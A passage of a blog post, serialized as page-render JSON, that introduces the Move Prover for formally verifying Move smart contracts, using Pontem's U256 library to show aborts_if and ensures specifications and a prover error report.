specifications.",{"src":7943,"height":7944,"width":4397},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[7947,7948],"move","tutorial",{"type":20,"children":7950,"toc":12277},[7951,7969,7981,7987,7992,7997,8002,8011,8016,8030,8035,8041,8046,8060,8065,8202,8215,8220,8241,8275,8286,8292,8297,8307,8320,8663,8677,8695,8740,8753,8772,8944,8949,8954,8979,8984,9585,9597,9609,9614,9628,9633,9646,9686,9691,9723,9728,9733,9746,10131,10158,10365,10370,10382,10619,10624,10632,10651,10998,11003,11160,11165,11172,11186,11192,11197,11202,11208,11221,11453,11459,11464,11484,11752,11757,11763,11775,11780,11794,11800,11836,11936,11957,11963,11968,11973,12225,12230,12248,12252,12257,12262,12273],{"type":23,"tag":32,"props":7952,"children":7953},{},[7954,7956,7961,7963,7967],{"type":29,"value":7955},"Formal verification -- a powerful tool for ",{"type":23,"tag":47,"props":7957,"children":7958},{},[7959],{"type":29,"value":7960},"proving",{"type":29,"value":7962}," the correctness of your programs. How does it ",{"type":23,"tag":47,"props":7964,"children":7965},{},[7966],{"type":29,"value":51},{"type":29,"value":7968}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":32,"props":7970,"children":7971},{},[7972,7974,7979],{"type":29,"value":7973},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":47,"props":7975,"children":7976},{},[7977],{"type":29,"value":7978},"all",{"type":29,"value":7980}," possible inputs.",{"type":23,"tag":24,"props":7982,"children":7984},{"id":7983},"move-prover",[7985],{"type":29,"value":7986},"Move Prover",{"type":23,"tag":32,"props":7988,"children":7989},{},[7990],{"type":29,"value":7991},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":32,"props":7993,"children":7994},{},[7995],{"type":29,"value":7996},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":32,"props":7998,"children":7999},{},[8000],{"type":29,"value":8001},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":32,"props":8003,"children":8004},{},[8005],{"type":23,"tag":2591,"props":8006,"children":8010},{"alt":8007,"src":8008,"title":8009},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":32,"props":8012,"children":8013},{},[8014],{"type":29,"value":8015},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":32,"props":8017,"children":8018},{},[8019,8021,8028],{"type":29,"value":8020},"The model is translated into an intermediate language, called ",{"type":23,"tag":55,"props":8022,"children":8025},{"href":8023,"rel":8024},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[59],[8026],{"type":29,"value":8027},"Boogie",{"type":29,"value":8029},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":32,"props":8031,"children":8032},{},[8033],{"type":29,"value":8034},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":24,"props":8036,"children":8038},{"id":8037},"move-specification-language",[8039],{"type":29,"value":8040},"Move Specification Language",{"type":23,"tag":32,"props":8042,"children":8043},{},[8044],{"type":29,"value":8045},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":32,"props":8047,"children":8048},{},[8049,8051,8058],{"type":29,"value":8050},"To better understand how to use the MSL, we will use ",{"type":23,"tag":55,"props":8052,"children":8055},{"href":8053,"rel":8054},"https://github.com/pontem-network/u256",[59],[8056],{"type":29,"value":8057},"Pontem's U256 library",{"type":29,"value":8059},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":32,"props":8061,"children":8062},{},[8063],{"type":29,"value":8064},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":131,"props":8066,"children":8068},{"code":8067,"language":1638,"meta":7,"className":1639,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[8069],{"type":23,"tag":38,"props":8070,"children":8071},{"__ignoreMap":7},[8072,8115,8135,8155,8175,8195],{"type":23,"tag":141,"props":8073,"children":8074},{"class":143,"line":144},[8075,8080,8084,8089,8094,8098,8103,8107,8111],{"type":23,"tag":141,"props":8076,"children":8077},{"style":449},[8078],{"type":29,"value":8079},"struct",{"type":23,"tag":141,"props":8081,"children":8082},{"style":725},[8083],{"type":29,"value":3405},{"type":23,"tag":141,"props":8085,"children":8086},{"style":750},[8087],{"type":29,"value":8088}," has",{"type":23,"tag":141,"props":8090,"children":8091},{"style":750},[8092],{"type":29,"value":8093}," copy",{"type":23,"tag":141,"props":8095,"children":8096},{"style":154},[8097],{"type":29,"value":480},{"type":23,"tag":141,"props":8099,"children":8100},{"style":750},[8101],{"type":29,"value":8102},"drop",{"type":23,"tag":141,"props":8104,"children":8105},{"style":154},[8106],{"type":29,"value":480},{"type":23,"tag":141,"props":8108,"children":8109},{"style":750},[8110],{"type":29,"value":4614},{"type":23,"tag":141,"props":8112,"children":8113},{"style":154},[8114],{"type":29,"value":1951},{"type":23,"tag":141,"props":8116,"children":8117},{"class":143,"line":180},[8118,8123,8127,8131],{"type":23,"tag":141,"props":8119,"children":8120},{"style":750},[8121],{"type":29,"value":8122}," v0",{"type":23,"tag":141,"props":8124,"children":8125},{"style":160},[8126],{"type":29,"value":114},{"type":23,"tag":141,"props":8128,"children":8129},{"style":725},[8130],{"type":29,"value":4534},{"type":23,"tag":141,"props":8132,"children":8133},{"style":154},[8134],{"type":29,"value":2168},{"type":23,"tag":141,"props":8136,"children":8137},{"class":143,"line":205},[8138,8143,8147,8151],{"type":23,"tag":141,"props":8139,"children":8140},{"style":750},[8141],{"type":29,"value":8142}," v1",{"type":23,"tag":141,"props":8144,"children":8145},{"style":160},[8146],{"type":29,"value":114},{"type":23,"tag":141,"props":8148,"children":8149},{"style":725},[8150],{"type":29,"value":4534},{"type":23,"tag":141,"props":8152,"children":8153},{"style":154},[8154],{"type":29,"value":2168},{"type":23,"tag":141,"props":8156,"children":8157},{"class":143,"line":218},[8158,8163,8167,8171],{"type":23,"tag":141,"props":8159,"children":8160},{"style":750},[8161],{"type":29,"value":8162}," v2",{"type":23,"tag":141,"props":8164,"children":8165},{"style":160},[8166],{"type":29,"value":114},{"type":23,"tag":141,"props":8168,"children":8169},{"style":725},[8170],{"type":29,"value":4534},{"type":23,"tag":141,"props":8172,"children":8173},{"style":154},[8174],{"type":29,"value":2168},{"type":23,"tag":141,"props":8176,"children":8177},{"class":143,"line":227},[8178,8183,8187,8191],{"type":23,"tag":141,"props":8179,"children":8180},{"style":750},[8181],{"type":29,"value":8182}," v3",{"type":23,"tag":141,"props":8184,"children":8185},{"style":160},[8186],{"type":29,"value":114},{"type":23,"tag":141,"props":8188,"children":8189},{"style":725},[8190],{"type":29,"value":4534},{"type":23,"tag":141,"props":8192,"children":8193},{"style":154},[8194],{"type":29,"value":2168},{"type":23,"tag":141,"props":8196,"children":8197},{"class":143,"line":241},[8198],{"type":23,"tag":141,"props":8199,"children":8200},{"style":154},[8201],{"type":29,"value":2573},{"type":23,"tag":32,"props":8203,"children":8204},{},[8205,8207,8213],{"type":29,"value":8206},"Now, let's consider the ",{"type":23,"tag":38,"props":8208,"children":8210},{"className":8209},[],[8211],{"type":29,"value":8212},"add(a: U256, b: U256): U256",{"type":29,"value":8214}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":32,"props":8216,"children":8217},{},[8218],{"type":29,"value":8219},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":32,"props":8221,"children":8222},{},[8223,8225,8231,8233,8240],{"type":29,"value":8224},"For example, if your file is ",{"type":23,"tag":38,"props":8226,"children":8228},{"className":8227},[],[8229],{"type":29,"value":8230},"sources/u256.move",{"type":29,"value":8232},", you can put specifications in ",{"type":23,"tag":55,"props":8234,"children":8237},{"href":8235,"rel":8236},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[59],[8238],{"type":29,"value":8239},"sources/u256.spec.move",{"type":29,"value":322},{"type":23,"tag":131,"props":8242,"children":8244},{"code":8243,"language":1638,"meta":7,"className":1639,"style":7},"spec add { ... }\n",[8245],{"type":23,"tag":38,"props":8246,"children":8247},{"__ignoreMap":7},[8248],{"type":23,"tag":141,"props":8249,"children":8250},{"class":143,"line":144},[8251,8255,8260,8265,8270],{"type":23,"tag":141,"props":8252,"children":8253},{"style":750},[8254],{"type":29,"value":6950},{"type":23,"tag":141,"props":8256,"children":8257},{"style":750},[8258],{"type":29,"value":8259}," add",{"type":23,"tag":141,"props":8261,"children":8262},{"style":154},[8263],{"type":29,"value":8264}," { ",{"type":23,"tag":141,"props":8266,"children":8267},{"style":160},[8268],{"type":29,"value":8269},"...",{"type":23,"tag":141,"props":8271,"children":8272},{"style":154},[8273],{"type":29,"value":8274}," }\n",{"type":23,"tag":32,"props":8276,"children":8277},{},[8278,8280,8285],{"type":29,"value":8279},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":47,"props":8281,"children":8282},{},[8283],{"type":29,"value":8284},"Expressions",{"type":29,"value":322},{"type":23,"tag":8287,"props":8288,"children":8290},"h3",{"id":8289},"expressions",[8291],{"type":29,"value":8284},{"type":23,"tag":32,"props":8293,"children":8294},{},[8295],{"type":29,"value":8296},"Let's go over some common expressions.",{"type":23,"tag":32,"props":8298,"children":8299},{},[8300,8305],{"type":23,"tag":38,"props":8301,"children":8303},{"className":8302},[],[8304],{"type":29,"value":7000},{"type":29,"value":8306}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":32,"props":8308,"children":8309},{},[8310,8312,8318],{"type":29,"value":8311},"For example, the ",{"type":23,"tag":38,"props":8313,"children":8315},{"className":8314},[],[8316],{"type":29,"value":8317},"add",{"type":29,"value":8319}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":131,"props":8321,"children":8323},{"code":8322,"language":1638,"meta":7,"className":1639,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[8324],{"type":23,"tag":38,"props":8325,"children":8326},{"__ignoreMap":7},[8327,8361,8368,8417,8439,8468,8505,8546,8553,8560,8575,8656],{"type":23,"tag":141,"props":8328,"children":8329},{"class":143,"line":144},[8330,8335,8340,8344,8348,8352,8357],{"type":23,"tag":141,"props":8331,"children":8332},{"style":449},[8333],{"type":29,"value":8334},"const",{"type":23,"tag":141,"props":8336,"children":8337},{"style":154},[8338],{"type":29,"value":8339}," P64",{"type":23,"tag":141,"props":8341,"children":8342},{"style":160},[8343],{"type":29,"value":114},{"type":23,"tag":141,"props":8345,"children":8346},{"style":725},[8347],{"type":29,"value":7523},{"type":23,"tag":141,"props":8349,"children":8350},{"style":160},[8351],{"type":29,"value":1674},{"type":23,"tag":141,"props":8353,"children":8354},{"style":472},[8355],{"type":29,"value":8356}," 0x10000000000000000",{"type":23,"tag":141,"props":8358,"children":8359},{"style":154},[8360],{"type":29,"value":1684},{"type":23,"tag":141,"props":8362,"children":8363},{"class":143,"line":180},[8364],{"type":23,"tag":141,"props":8365,"children":8366},{"emptyLinePlaceholder":15},[8367],{"type":29,"value":719},{"type":23,"tag":141,"props":8369,"children":8370},{"class":143,"line":205},[8371,8375,8379,8384,8388,8392,8396,8400,8404,8408,8413],{"type":23,"tag":141,"props":8372,"children":8373},{"style":750},[8374],{"type":29,"value":6950},{"type":23,"tag":141,"props":8376,"children":8377},{"style":750},[8378],{"type":29,"value":4881},{"type":23,"tag":141,"props":8380,"children":8381},{"style":184},[8382],{"type":29,"value":8383}," value_of_U256",{"type":23,"tag":141,"props":8385,"children":8386},{"style":154},[8387],{"type":29,"value":192},{"type":23,"tag":141,"props":8389,"children":8390},{"style":750},[8391],{"type":29,"value":55},{"type":23,"tag":141,"props":8393,"children":8394},{"style":160},[8395],{"type":29,"value":114},{"type":23,"tag":141,"props":8397,"children":8398},{"style":725},[8399],{"type":29,"value":3405},{"type":23,"tag":141,"props":8401,"children":8402},{"style":154},[8403],{"type":29,"value":1788},{"type":23,"tag":141,"props":8405,"children":8406},{"style":160},[8407],{"type":29,"value":114},{"type":23,"tag":141,"props":8409,"children":8410},{"style":750},[8411],{"type":29,"value":8412}," num",{"type":23,"tag":141,"props":8414,"children":8415},{"style":154},[8416],{"type":29,"value":1951},{"type":23,"tag":141,"props":8418,"children":8419},{"class":143,"line":218},[8420,8425,8429,8434],{"type":23,"tag":141,"props":8421,"children":8422},{"style":750},[8423],{"type":29,"value":8424}," a",{"type":23,"tag":141,"props":8426,"children":8427},{"style":160},[8428],{"type":29,"value":322},{"type":23,"tag":141,"props":8430,"children":8431},{"style":154},[8432],{"type":29,"value":8433},"v0 ",{"type":23,"tag":141,"props":8435,"children":8436},{"style":160},[8437],{"type":29,"value":8438},"+\n",{"type":23,"tag":141,"props":8440,"children":8441},{"class":143,"line":227},[8442,8446,8450,8455,8459,8463],{"type":23,"tag":141,"props":8443,"children":8444},{"style":750},[8445],{"type":29,"value":8424},{"type":23,"tag":141,"props":8447,"children":8448},{"style":160},[8449],{"type":29,"value":322},{"type":23,"tag":141,"props":8451,"children":8452},{"style":154},[8453],{"type":29,"value":8454},"v1 ",{"type":23,"tag":141,"props":8456,"children":8457},{"style":160},[8458],{"type":29,"value":197},{"type":23,"tag":141,"props":8460,"children":8461},{"style":725},[8462],{"type":29,"value":8339},{"type":23,"tag":141,"props":8464,"children":8465},{"style":160},[8466],{"type":29,"value":8467}," +\n",{"type":23,"tag":141,"props":8469,"children":8470},{"class":143,"line":241},[8471,8475,8479,8484,8488,8492,8497,8501],{"type":23,"tag":141,"props":8472,"children":8473},{"style":750},[8474],{"type":29,"value":8424},{"type":23,"tag":141,"props":8476,"children":8477},{"style":160},[8478],{"type":29,"value":322},{"type":23,"tag":141,"props":8480,"children":8481},{"style":154},[8482],{"type":29,"value":8483},"v2 ",{"type":23,"tag":141,"props":8485,"children":8486},{"style":160},[8487],{"type":29,"value":197},{"type":23,"tag":141,"props":8489,"children":8490},{"style":725},[8491],{"type":29,"value":8339},{"type":23,"tag":141,"props":8493,"children":8494},{"style":160},[8495],{"type":29,"value":8496}," *",{"type":23,"tag":141,"props":8498,"children":8499},{"style":725},[8500],{"type":29,"value":8339},{"type":23,"tag":141,"props":8502,"children":8503},{"style":160},[8504],{"type":29,"value":8467},{"type":23,"tag":141,"props":8506,"children":8507},{"class":143,"line":262},[8508,8512,8516,8521,8525,8529,8533,8537,8541],{"type":23,"tag":141,"props":8509,"children":8510},{"style":750},[8511],{"type":29,"value":8424},{"type":23,"tag":141,"props":8513,"children":8514},{"style":160},[8515],{"type":29,"value":322},{"type":23,"tag":141,"props":8517,"children":8518},{"style":154},[8519],{"type":29,"value":8520},"v3 ",{"type":23,"tag":141,"props":8522,"children":8523},{"style":160},[8524],{"type":29,"value":197},{"type":23,"tag":141,"props":8526,"children":8527},{"style":725},[8528],{"type":29,"value":8339},{"type":23,"tag":141,"props":8530,"children":8531},{"style":160},[8532],{"type":29,"value":8496},{"type":23,"tag":141,"props":8534,"children":8535},{"style":725},[8536],{"type":29,"value":8339},{"type":23,"tag":141,"props":8538,"children":8539},{"style":160},[8540],{"type":29,"value":8496},{"type":23,"tag":141,"props":8542,"children":8543},{"style":725},[8544],{"type":29,"value":8545}," P64\n",{"type":23,"tag":141,"props":8547,"children":8548},{"class":143,"line":271},[8549],{"type":23,"tag":141,"props":8550,"children":8551},{"style":154},[8552],{"type":29,"value":2573},{"type":23,"tag":141,"props":8554,"children":8555},{"class":143,"line":293},[8556],{"type":23,"tag":141,"props":8557,"children":8558},{"emptyLinePlaceholder":15},[8559],{"type":29,"value":719},{"type":23,"tag":141,"props":8561,"children":8562},{"class":143,"line":801},[8563,8567,8571],{"type":23,"tag":141,"props":8564,"children":8565},{"style":750},[8566],{"type":29,"value":6950},{"type":23,"tag":141,"props":8568,"children":8569},{"style":750},[8570],{"type":29,"value":8259},{"type":23,"tag":141,"props":8572,"children":8573},{"style":154},[8574],{"type":29,"value":1951},{"type":23,"tag":141,"props":8576,"children":8577},{"class":143,"line":810},[8578,8583,8587,8591,8595,8599,8603,8607,8611,8615,8619,8624,8628,8632,8636,8640,8644,8648,8652],{"type":23,"tag":141,"props":8579,"children":8580},{"style":750},[8581],{"type":29,"value":8582}," aborts_if",{"type":23,"tag":141,"props":8584,"children":8585},{"style":184},[8586],{"type":29,"value":8383},{"type":23,"tag":141,"props":8588,"children":8589},{"style":154},[8590],{"type":29,"value":192},{"type":23,"tag":141,"props":8592,"children":8593},{"style":750},[8594],{"type":29,"value":55},{"type":23,"tag":141,"props":8596,"children":8597},{"style":154},[8598],{"type":29,"value":1748},{"type":23,"tag":141,"props":8600,"children":8601},{"style":160},[8602],{"type":29,"value":3058},{"type":23,"tag":141,"props":8604,"children":8605},{"style":184},[8606],{"type":29,"value":8383},{"type":23,"tag":141,"props":8608,"children":8609},{"style":154},[8610],{"type":29,"value":192},{"type":23,"tag":141,"props":8612,"children":8613},{"style":750},[8614],{"type":29,"value":1883},{"type":23,"tag":141,"props":8616,"children":8617},{"style":154},[8618],{"type":29,"value":1748},{"type":23,"tag":141,"props":8620,"children":8621},{"style":160},[8622],{"type":29,"value":8623},">=",{"type":23,"tag":141,"props":8625,"children":8626},{"style":725},[8627],{"type":29,"value":8339},{"type":23,"tag":141,"props":8629,"children":8630},{"style":160},[8631],{"type":29,"value":8496},{"type":23,"tag":141,"props":8633,"children":8634},{"style":725},[8635],{"type":29,"value":8339},{"type":23,"tag":141,"props":8637,"children":8638},{"style":160},[8639],{"type":29,"value":8496},{"type":23,"tag":141,"props":8641,"children":8642},{"style":725},[8643],{"type":29,"value":8339},{"type":23,"tag":141,"props":8645,"children":8646},{"style":160},[8647],{"type":29,"value":8496},{"type":23,"tag":141,"props":8649,"children":8650},{"style":725},[8651],{"type":29,"value":8339},{"type":23,"tag":141,"props":8653,"children":8654},{"style":154},[8655],{"type":29,"value":1684},{"type":23,"tag":141,"props":8657,"children":8658},{"class":143,"line":824},[8659],{"type":23,"tag":141,"props":8660,"children":8661},{"style":154},[8662],{"type":29,"value":2573},{"type":23,"tag":32,"props":8664,"children":8665},{},[8666,8668,8675],{"type":29,"value":8667},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":55,"props":8669,"children":8672},{"href":8670,"rel":8671},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[59],[8673],{"type":29,"value":8674},"MSL function",{"type":29,"value":8676},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":32,"props":8678,"children":8679},{},[8680,8682,8687,8688,8693],{"type":29,"value":8681},"A common pattern for ",{"type":23,"tag":38,"props":8683,"children":8685},{"className":8684},[],[8686],{"type":29,"value":7000},{"type":29,"value":4175},{"type":23,"tag":38,"props":8689,"children":8691},{"className":8690},[],[8692],{"type":29,"value":7008},{"type":29,"value":8694},", which lets you prove that a function will never abort.",{"type":23,"tag":131,"props":8696,"children":8698},{"code":8697,"language":1638,"meta":7,"className":1639,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[8699],{"type":23,"tag":38,"props":8700,"children":8701},{"__ignoreMap":7},[8702,8718,8733],{"type":23,"tag":141,"props":8703,"children":8704},{"class":143,"line":144},[8705,8709,8714],{"type":23,"tag":141,"props":8706,"children":8707},{"style":750},[8708],{"type":29,"value":6950},{"type":23,"tag":141,"props":8710,"children":8711},{"style":750},[8712],{"type":29,"value":8713}," critical_function",{"type":23,"tag":141,"props":8715,"children":8716},{"style":154},[8717],{"type":29,"value":1951},{"type":23,"tag":141,"props":8719,"children":8720},{"class":143,"line":180},[8721,8725,8729],{"type":23,"tag":141,"props":8722,"children":8723},{"style":750},[8724],{"type":29,"value":8582},{"type":23,"tag":141,"props":8726,"children":8727},{"style":449},[8728],{"type":29,"value":7735},{"type":23,"tag":141,"props":8730,"children":8731},{"style":154},[8732],{"type":29,"value":1684},{"type":23,"tag":141,"props":8734,"children":8735},{"class":143,"line":205},[8736],{"type":23,"tag":141,"props":8737,"children":8738},{"style":154},[8739],{"type":29,"value":2573},{"type":23,"tag":32,"props":8741,"children":8742},{},[8743,8745,8751],{"type":29,"value":8744},"Another type of expression that we can use is ",{"type":23,"tag":38,"props":8746,"children":8748},{"className":8747},[],[8749],{"type":29,"value":8750},"ensures",{"type":29,"value":8752},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":32,"props":8754,"children":8755},{},[8756,8758,8763,8765,8770],{"type":29,"value":8757},"In the case of the ",{"type":23,"tag":38,"props":8759,"children":8761},{"className":8760},[],[8762],{"type":29,"value":8317},{"type":29,"value":8764}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":3998,"props":8766,"children":8767},{},[8768],{"type":29,"value":8769},"MSL uses unbounded numbers",{"type":29,"value":8771},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":131,"props":8773,"children":8775},{"code":8774,"language":1638,"meta":7,"className":1639,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[8776],{"type":23,"tag":38,"props":8777,"children":8778},{"__ignoreMap":7},[8779,8794,8873,8937],{"type":23,"tag":141,"props":8780,"children":8781},{"class":143,"line":144},[8782,8786,8790],{"type":23,"tag":141,"props":8783,"children":8784},{"style":750},[8785],{"type":29,"value":6950},{"type":23,"tag":141,"props":8787,"children":8788},{"style":750},[8789],{"type":29,"value":8259},{"type":23,"tag":141,"props":8791,"children":8792},{"style":154},[8793],{"type":29,"value":1951},{"type":23,"tag":141,"props":8795,"children":8796},{"class":143,"line":180},[8797,8801,8805,8809,8813,8817,8821,8825,8829,8833,8837,8841,8845,8849,8853,8857,8861,8865,8869],{"type":23,"tag":141,"props":8798,"children":8799},{"style":750},[8800],{"type":29,"value":8582},{"type":23,"tag":141,"props":8802,"children":8803},{"style":184},[8804],{"type":29,"value":8383},{"type":23,"tag":141,"props":8806,"children":8807},{"style":154},[8808],{"type":29,"value":192},{"type":23,"tag":141,"props":8810,"children":8811},{"style":750},[8812],{"type":29,"value":55},{"type":23,"tag":141,"props":8814,"children":8815},{"style":154},[8816],{"type":29,"value":1748},{"type":23,"tag":141,"props":8818,"children":8819},{"style":160},[8820],{"type":29,"value":3058},{"type":23,"tag":141,"props":8822,"children":8823},{"style":184},[8824],{"type":29,"value":8383},{"type":23,"tag":141,"props":8826,"children":8827},{"style":154},[8828],{"type":29,"value":192},{"type":23,"tag":141,"props":8830,"children":8831},{"style":750},[8832],{"type":29,"value":1883},{"type":23,"tag":141,"props":8834,"children":8835},{"style":154},[8836],{"type":29,"value":1748},{"type":23,"tag":141,"props":8838,"children":8839},{"style":160},[8840],{"type":29,"value":8623},{"type":23,"tag":141,"props":8842,"children":8843},{"style":725},[8844],{"type":29,"value":8339},{"type":23,"tag":141,"props":8846,"children":8847},{"style":160},[8848],{"type":29,"value":8496},{"type":23,"tag":141,"props":8850,"children":8851},{"style":725},[8852],{"type":29,"value":8339},{"type":23,"tag":141,"props":8854,"children":8855},{"style":160},[8856],{"type":29,"value":8496},{"type":23,"tag":141,"props":8858,"children":8859},{"style":725},[8860],{"type":29,"value":8339},{"type":23,"tag":141,"props":8862,"children":8863},{"style":160},[8864],{"type":29,"value":8496},{"type":23,"tag":141,"props":8866,"children":8867},{"style":725},[8868],{"type":29,"value":8339},{"type":23,"tag":141,"props":8870,"children":8871},{"style":154},[8872],{"type":29,"value":1684},{"type":23,"tag":141,"props":8874,"children":8875},{"class":143,"line":205},[8876,8881,8885,8889,8893,8897,8901,8905,8909,8913,8917,8921,8925,8929,8933],{"type":23,"tag":141,"props":8877,"children":8878},{"style":750},[8879],{"type":29,"value":8880}," ensures",{"type":23,"tag":141,"props":8882,"children":8883},{"style":184},[8884],{"type":29,"value":8383},{"type":23,"tag":141,"props":8886,"children":8887},{"style":154},[8888],{"type":29,"value":192},{"type":23,"tag":141,"props":8890,"children":8891},{"style":750},[8892],{"type":29,"value":7760},{"type":23,"tag":141,"props":8894,"children":8895},{"style":154},[8896],{"type":29,"value":1748},{"type":23,"tag":141,"props":8898,"children":8899},{"style":160},[8900],{"type":29,"value":7251},{"type":23,"tag":141,"props":8902,"children":8903},{"style":184},[8904],{"type":29,"value":8383},{"type":23,"tag":141,"props":8906,"children":8907},{"style":154},[8908],{"type":29,"value":192},{"type":23,"tag":141,"props":8910,"children":8911},{"style":750},[8912],{"type":29,"value":55},{"type":23,"tag":141,"props":8914,"children":8915},{"style":154},[8916],{"type":29,"value":1748},{"type":23,"tag":141,"props":8918,"children":8919},{"style":160},[8920],{"type":29,"value":3058},{"type":23,"tag":141,"props":8922,"children":8923},{"style":184},[8924],{"type":29,"value":8383},{"type":23,"tag":141,"props":8926,"children":8927},{"style":154},[8928],{"type":29,"value":192},{"type":23,"tag":141,"props":8930,"children":8931},{"style":750},[8932],{"type":29,"value":1883},{"type":23,"tag":141,"props":8934,"children":8935},{"style":154},[8936],{"type":29,"value":2496},{"type":23,"tag":141,"props":8938,"children":8939},{"class":143,"line":218},[8940],{"type":23,"tag":141,"props":8941,"children":8942},{"style":154},[8943],{"type":29,"value":2573},{"type":23,"tag":32,"props":8945,"children":8946},{},[8947],{"type":29,"value":8948},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":23,"tag":32,"props":8950,"children":8951},{},[8952],{"type":29,"value":8953},"Let's try to prove the library with the specifications from above:",{"type":23,"tag":131,"props":8955,"children":8957},{"code":8956,"language":2919,"meta":7,"className":2920,"style":7},"$ move prove\n",[8958],{"type":23,"tag":38,"props":8959,"children":8960},{"__ignoreMap":7},[8961],{"type":23,"tag":141,"props":8962,"children":8963},{"class":143,"line":144},[8964,8969,8974],{"type":23,"tag":141,"props":8965,"children":8966},{"style":184},[8967],{"type":29,"value":8968},"$",{"type":23,"tag":141,"props":8970,"children":8971},{"style":828},[8972],{"type":29,"value":8973}," move",{"type":23,"tag":141,"props":8975,"children":8976},{"style":828},[8977],{"type":29,"value":8978}," prove\n",{"type":23,"tag":32,"props":8980,"children":8981},{},[8982],{"type":29,"value":8983},"It outputs the following error information:",{"type":23,"tag":131,"props":8985,"children":8987},{"code":8986,"language":2919,"meta":7,"className":2920,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[8988],{"type":23,"tag":38,"props":8989,"children":8990},{"__ignoreMap":7},[8991,8999,9006,9068,9089,9179,9247,9259,9267,9274,9281,9288,9306,9367,9384,9401,9473,9489,9497,9504,9554,9561,9578],{"type":23,"tag":141,"props":8992,"children":8993},{"class":143,"line":144},[8994],{"type":23,"tag":141,"props":8995,"children":8996},{"style":154},[8997],{"type":29,"value":8998},"[...]\n",{"type":23,"tag":141,"props":9000,"children":9001},{"class":143,"line":180},[9002],{"type":23,"tag":141,"props":9003,"children":9004},{"emptyLinePlaceholder":15},[9005],{"type":29,"value":719},{"type":23,"tag":141,"props":9007,"children":9008},{"class":143,"line":205},[9009,9014,9019,9024,9029,9034,9039,9044,9049,9054,9058,9063],{"type":23,"tag":141,"props":9010,"children":9011},{"style":184},[9012],{"type":29,"value":9013},"error:",{"type":23,"tag":141,"props":9015,"children":9016},{"style":828},[9017],{"type":29,"value":9018}," abort",{"type":23,"tag":141,"props":9020,"children":9021},{"style":828},[9022],{"type":29,"value":9023}," not",{"type":23,"tag":141,"props":9025,"children":9026},{"style":828},[9027],{"type":29,"value":9028}," covered",{"type":23,"tag":141,"props":9030,"children":9031},{"style":828},[9032],{"type":29,"value":9033}," by",{"type":23,"tag":141,"props":9035,"children":9036},{"style":828},[9037],{"type":29,"value":9038}," any",{"type":23,"tag":141,"props":9040,"children":9041},{"style":828},[9042],{"type":29,"value":9043}," of",{"type":23,"tag":141,"props":9045,"children":9046},{"style":828},[9047],{"type":29,"value":9048}," the",{"type":23,"tag":141,"props":9050,"children":9051},{"style":828},[9052],{"type":29,"value":9053}," 